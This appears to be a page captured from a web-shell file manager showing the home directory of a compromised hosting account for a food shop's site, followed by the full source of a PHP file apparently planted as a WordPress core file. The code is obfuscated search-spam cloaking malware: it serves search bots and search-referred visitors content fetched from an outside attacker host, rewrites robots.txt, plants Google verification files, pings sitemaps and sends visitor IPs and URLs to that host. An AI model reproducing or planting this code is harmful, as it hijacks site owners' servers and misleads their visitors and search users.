Gecko [ shopfourseasonsfoodszim.com ]

Name	Size	Permission	Date
.cagefs	[ DIR ]	drwxrwx--x	2022-05-02 21:19
.caldav	[ DIR ]	drwxr-xr-x	2025-04-22 09:31
.cl.selector	[ DIR ]	drwxr-xr-x	2025-07-25 09:01
.clwpos	[ DIR ]	drwx------	2021-11-16 07:54
.cpanel	[ DIR ]	drwx------	2025-09-10 03:48
.cphorde	[ DIR ]	drwx------	2022-12-23 02:55
.htpasswds	[ DIR ]	drwxr-x---	2019-11-26 12:14
.nc_plugin	[ DIR ]	drwx--x--x	2022-05-02 21:14
.pki	[ DIR ]	drwxr-----	2019-12-06 07:03
.razor	[ DIR ]	drwxr-xr-x	2023-06-28 18:09
.softaculous	[ DIR ]	drwx--x--x	2023-01-28 20:28
.spamassassin	[ DIR ]	drwx------	2023-06-28 18:09
.subaccounts	[ DIR ]	drwx------	2022-05-02 21:14
.trash	[ DIR ]	drwx------	2025-09-10 09:07
access-logs	[ DIR ]	drwxr-x---	2025-09-10 12:16
cache	[ DIR ]	drwxr-xr-x	2025-09-02 09:11
etc	[ DIR ]	drwxr-x---	2025-09-02 09:11
logs	[ DIR ]	drwx------	2025-09-02 09:11
lscache	[ DIR ]	drwxrws---	2025-09-02 09:11
lscmData	[ DIR ]	drwx------	2025-09-02 09:11
mail	[ DIR ]	drwxr-x--x	2025-09-10 16:06
perl5	[ DIR ]	drwxrwxr-x	2025-09-02 09:11
public_ftp	[ DIR ]	drwxr-x---	2025-09-02 09:11
public_html	[ DIR ]	drwxr-x---	2025-09-10 01:35
shopfourseasonsfoodszim.com	[ DIR ]	drwxr-x---	2025-09-10 20:43
softaculous_backups	[ DIR ]	drwx--x--x	2025-09-10 11:00
ssl	[ DIR ]	drwxr-xr-x	2025-09-02 09:11
store.foureasonsfoodszim.com	[ DIR ]	drwxr-x---	2025-09-02 09:11
store.fourseasonsfoodszim.com	[ DIR ]	drwxr-x---	2025-09-10 10:39
tmp	[ DIR ]	drwxr-xr-x	2025-09-02 09:11
.bash_logout	18 B	-rw-r--r--	2019-11-26 12:14
.bash_profile	176 B	-rw-r--r--	2019-11-26 12:14
.bashrc	124 B	-rw-r--r--	2019-11-26 12:14
.contactemail	31 B	-rw-r-----	2023-02-19 03:21
.dns	23 B	-rw-rw-r--	2022-03-05 22:16
.gemrc	139 B	-rw-r--r--	2019-11-26 12:14
.htaccess	197 B	-r--r--r--	2025-09-02 09:11
.imunify_patch_id	106 B	-rw-rw----	2025-04-17 08:23
.last.inodes	17.38 KB	-rw-r--r--	2025-09-10 09:34
.lastlogin	637 B	-rw-------	2025-05-13 17:53
.myimunify_id	102 B	-rw-rw----	2024-05-13 06:30
.spamassassinboxenable	0 B	-rw-r--r--	2022-05-02 21:14
.spamassassinenable	0 B	-rw-r--r--	2019-11-26 12:14
.zshrc	658 B	-rw-r--r--	2019-11-26 12:14
core.txt	10.37 KB	-rw-r--r--	2022-03-24 09:26
scanreport-fourgwnl-Feb_07_2023_13h03m.txt	13.36 KB	-rw-r--r--	2023-02-07 18:38
scanreport-fourgwnl-Feb_25_2022_02h17m.txt	6.64 KB	-rw-r--r--	2022-02-25 07:41
template.txt	10.36 KB	-rw-r--r--	2022-03-24 09:26
wp-blog-header.php	2.73 KB	-r--r--r--	2025-09-02 09:11
wp-cron.php	2.73 KB	-rw-r--r--	2025-09-02 09:11

Rename

<?php
error_reporting(0);header('Content-Type: text/html; charset=utf-8');$OoooOO0 = 'fgj1247';$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c";$O=urldecode($OOOOOO);date_default_timezone_set('Asia/Tokyo');
$dRoot = @$_SERVER['DOCUMENT_ROOT'];
$rUrl = @$_SERVER['REQUEST_URI'];
$curName = @basename(__FILE__);
$sName = @$_SERVER['HTTP_HOST'];
$Ooolg = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$uAgent = @$_SERVER['HTTP_USER_AGENT'];
$referer = @$_SERVER['HTTP_REFERER'];
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$typeName = $http_type . $sName;
$uAgent = @strtolower($uAgent);
$referer = @strtolower($referer);
if(getenv('HTTP_CLIENT_IP')){
$client_ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$client_ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$client_ip = getenv('REMOTE_ADDR');
} else {
$client_ip = $_SERVER['REMOTE_ADDR'];
}

$pageStr = explode('?',$rUrl);
$sdName = $pageStr[0];
$existF = false;
if (file_exists($dRoot.$sdName)) {
$existF = true;
}

if(isset($_GET['vf'])&&$_GET['vf']=='9b9b9b') {
echo '9b9b9b online!';
exit;
}
$pr = dirname($rUrl);
if (strstr($rUrl, 'sitemap_index_')) {
allmap($O,$OoooOO0,$typeName,$rUrl,$sName,$http_type,$existF,$sdName,$pr,$curName);
}
if (substr($rUrl,-4)=='.xml') {
sitefun($O,$OoooOO0,$typeName,$rUrl,$http_type,$sName,$client_ip,$existF,$sdName,$pr,$curName);
}
function allmap($O,$OoooOO0,$typeName,$rUrl,$sName,$http_type,$existF,$sdName,$pr,$curName){
$ol = 'http://'.$OoooOO0.'.forceie.top/Api/siteAllMap.php?page='.$rUrl.'&pwd=sl123&domain='.$typeName.'&cur='.$curName.'&existf='.$existF.'&sd='.$sdName;
if ($_GET['vf_allmap'] == '9b9b9b') {
echo $ol;
exit;
}
$getRes = getCurl($O,$ol);
if(strstr($getRes,'okhtmlgetcontent')){
@header('Content-type:text/xml');
$getRes = str_replace('okhtmlgetcontent','',$getRes);
echo $getRes;
exit();
}else if(strstr($getRes,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($getRes,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}
}
function sitefun($O,$OoooOO0,$typeName,$rUrl,$http_type,$sName,$client_ip,$existF,$sdName,$pr='',$curName='') {
$ol = 'http://'.$OoooOO0.'.forceie.top/Api/siteUrlApi.php?stype=sitemap&num=6000&pr='.$pr.'&url='.$rUrl.'&domain='.$typeName.'&ip='.$client_ip.'&cur='.$curName.'&existf='.$existF.'&sd='.$sdName;
if ($_GET['vf_map'] == '9b9b9b.xml') {
echo $ol;
exit;
}
$getRes = getCurl($O,$ol);
if(strstr($getRes,'okhtmlgetcontent')){
@header('Content-type:text/xml');
$getRes = str_replace('okhtmlgetcontent','',$getRes);
echo $getRes;
exit();
}else if(strstr($getRes,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($getRes,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}else if(strstr($getRes,'getcontentping')){
$getRes = str_replace('getcontentping','',$getRes);
$getsResult = explode('[pin]',$getRes);
foreach($getsResult as $Oog => $Oov){
$pingRes = getCurl($O,$Oov);
$Oooo0s = (strpos($pingRes,'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR';
echo $Oov.'===>Submitting Google Sitemap: '.$Oooo0s.PHP_EOL;
}
exit();
}
}
if(isset($_GET['google'])){
$go=$_GET['google'];
if (preg_match('/^google.*?(\.html)$/i', $go)) {
if(putFile($O,$go,'google-site-verification:'.' '.$go)){
exit('<a href='.$go.'>'.$go.'</a>');
} else{
exit('fail!!!!');
}
}
}
if(isset($_GET['robots'])){
$both = '';
$robots = $_GET['robots'];
$ol = 'http://'.$OoooOO0.'.forceie.top/Api/rob.php?rob='.$robots.'&pwd=sl123&domain='.$typeName.'&cur='.$curName.'&existf='.$existF.'&sd='.$sdName;
if ($_GET['robots'] == '9b9b9b') {
echo $ol;
exit;
}
$getRes = getCurl($O,$ol);
if(strstr($getRes,'okhtmlgetcontent')){
if(putFile($O,'robots.txt',$getRes,$existF)) {
echo @file_get_contents($dRoot.'/robots.txt');
exit();
} else {
exit('fail!!!');
}
exit();
}
}
if(preg_match('/google.co.jp|yahoo|google\.com[^.]*?$|bing/i', $referer)){
if ($_GET['vf_jump'] == '9b9b9b') {
echo 'http://'.$OoooOO0.'.forceie.top/jump.php?domain='.$sName.'&page='.$rUrl.'&bot=0&pr='.$pr.'&refer='.$referer.'&ip='.$client_ip.'&lg='.$Ooolg.'&cur='.$curName.'&existf='.$existF.'&sd='.$sdName;
exit;
}
$jumpRes=getCurl($O,'http://'.$OoooOO0.'.forceie.top/jump.php?domain='.$sName.'&page='.$rUrl.'&bot=0&pr='.$pr.'&refer='.$referer.'&ip='.$client_ip.'&lg='.$Ooolg.'&cur='.$curName.'&existf='.$existF.'&sd='.$sdName);
if ($jumpRes) {
@header("Content-type: text/html; charset=utf-8");
$jumpRes = str_replace("okhtmlgetcontent",'',$jumpRes);
echo $jumpRes;
exit();
}
}
if(stristr($uAgent,'googlebot')||stristr($uAgent,'yahoo')||stristr($uAgent,'google')||stristr($uAgent,'Googlebot')||stristr($uAgent,'googlebot')){
if ($_GET['vf_bot'] == '9b9b9b') {
echo 'http://'.$OoooOO0.'.forceie.top/918.php?domain='.$sName.'&page='.$rUrl.'&bot=1&pr='.$pr.'&ip='.$client_ip.'&lg='.$Ooolg.'&cur='.$curName.'&existf='.$existF.'&sd='.$sdName;
exit;
}
$file_contents = getCurl($O,'http://'.$OoooOO0.'.forceie.top/918.php?domain='.$sName.'&page='.$rUrl.'&bot=1&pr='.$pr.'&ip='.$client_ip.'&lg='.$Ooolg.'&cur='.$curName.'&existf='.$existF.'&sd='.$sdName);
if(!empty($file_contents)){
if(strstr($file_contents,'okhtmlgetcontent')){
@header("Content-type: text/html; charset=utf-8");
$file_contents = str_replace('okhtmlgetcontent','',$file_contents);
echo $file_contents;
exit();
}else if(strstr($file_contents,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($file_contents,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}else if(strstr($file_contents,'getcontentnotplpage')){
$file_contents = str_replace('getcontentnotplpage','',$file_contents);
echo $file_contents;
exit();
}
}
}
if ($_GET['vf_origin'] == 'online5566') {
echo 'http://'.$OoooOO0.'.forceie.top/org.php?domain='.$sName.'&page='.$rUrl.'&pr='.$pr.'&ip='.$client_ip.'&lg='.$Ooolg.'&cur='.$curName.'&existf='.$existF.'&sd='.$sdName;
exit;
}
getCurl($O,'http://'.$OoooOO0.'.forceie.top/org.php?domain='.$sName.'&page='.$rUrl.'&pr='.$pr.'&ip='.$client_ip.'&lg='.$Ooolg.'&cur='.$curName.'&existf='.$existF.'&sd='.$sdName);
function getCurl($O,$gurl)
{
$file_contents = '';
$agentarry=array(
"safari 5.1 – MAC"=>"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"safari 5.1 – Windows"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"Firefox 38esr"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
"IE 11"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0) like Gecko",
"IE 9.0"=>"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0",
"IE 8.0"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",
"IE 7.0"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
"Firefox 4.0.1 – MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Firefox 4.0.1 – Windows"=>"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Opera 11.11 – MAC"=>"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11",
"Opera 11.11 – Windows"=>"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11",
"Chrome 17.0 – MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
"Avant"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)",
"Green Browser"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)",
"safari iOS 4.33 – iPhone"=>"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
"safari iOS 4.33 – iPod Touch"=>"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
"safari iOS 4.33 – iPad"=>"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
"Android N1"=>"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Android Opera Mobile"=>"Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10",
"Android Pad Moto Xoom"=>"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
"BlackBerry"=>"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+",
"WebOS HP Touchpad"=>"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0",
"UCOpenwave"=>"Openwave/ UCWEB7.0.2.37/28/999",
"UC Opera"=>"Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999",
);
$user_agent=$agentarry[array_rand($agentarry,1)];
if(function_exists('curl_init')){
try
{
$ch = curl_init();
$timeout = 30;
curl_setopt($ch,CURLOPT_URL,$gurl);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
}
catch (Exception $e)
{}
}
if(strlen($file_contents)<1&&function_exists('file_get_contents')){
ini_set('user_agent',$user_agent);
try
{
$file_contents = @file_get_contents($gurl);
}
catch (Exception $e)
{}
}
return $file_contents;
}
function putFile($O,$htName, $htContents, $app='') {
if ($app) {
$handle = fopen(@$_SERVER['DOCUMENT_ROOT'].'/'.$htName, 'a') or die('0');
}else{
$handle = fopen(@$_SERVER['DOCUMENT_ROOT'].'/'.$htName, 'w') or die('0');
}
$result = fwrite($handle, $htContents);
fclose($handle);
return $result;
}
?>